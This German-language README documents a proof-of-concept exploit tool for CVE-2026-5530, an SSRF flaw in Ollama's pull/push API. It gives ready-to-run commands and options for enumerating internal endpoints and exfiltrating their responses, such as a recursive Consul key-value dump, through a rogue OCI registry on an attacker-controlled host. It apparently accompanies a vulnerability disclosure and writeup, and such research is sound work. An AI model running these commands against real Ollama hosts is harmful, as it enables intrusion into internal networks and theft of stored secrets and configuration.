
Proof-of-Concept-Exploit für CVE-2026-5530, eine SSRF-Schwachstelle in Ollamas Pull/Push-API, die die Aufzählung interner Endpunkte und die vollständige Exfiltration von Antworten über eine betrügerische OCI-Registry ermöglicht.
Ollama SSRF über OCI-Registry-Umleitung mit vollständiger Antwort-Exfiltration.
Writeup: https://davidrochester.com/posts/cve-2026-5530
Ollama wurde mehrfach kontaktiert, ohne eine Antwort zu erhalten.
Drei Modi: enum, exfil und probe.
Findet interne Endpunkte, die vom Ollama-Host erreichbar sind.
python3 poc.py targets.txt --registry-host <your-ip>
Exfiltriert SSRF-Antworten, wenn die Antwortgröße bekannt ist.
python3 poc.py http://internal:8500/v1/kv/?recurse --exfil --size 960 --registry-host <your-ip>
Führt eine binäre Suche nach der Antwortgröße durch und exfiltriert anschließend.
python3 poc.py http://internal:8500/v1/kv/?recurse --probe --registry-host <your-ip>
target URL oder Datei mit URLs (eine pro Zeile, # für Kommentare)
-p, --port Port der betrügerischen Registry (Standard: 9999)
--exfil-port Exfil-Registry-Port (Standard: 10000)
--exfil Exfil-Modus, erfordert --size
--probe Binäre Suche nach der Größe, dann Exfiltration
--size Content-Length (erforderlich mit --exfil)
--registry-host Ihre Angreifer-IP/Hostname, die Ollama erreichen kann
--ollama Ollama-API-URL (Standard: http://127.0.0.1:11434)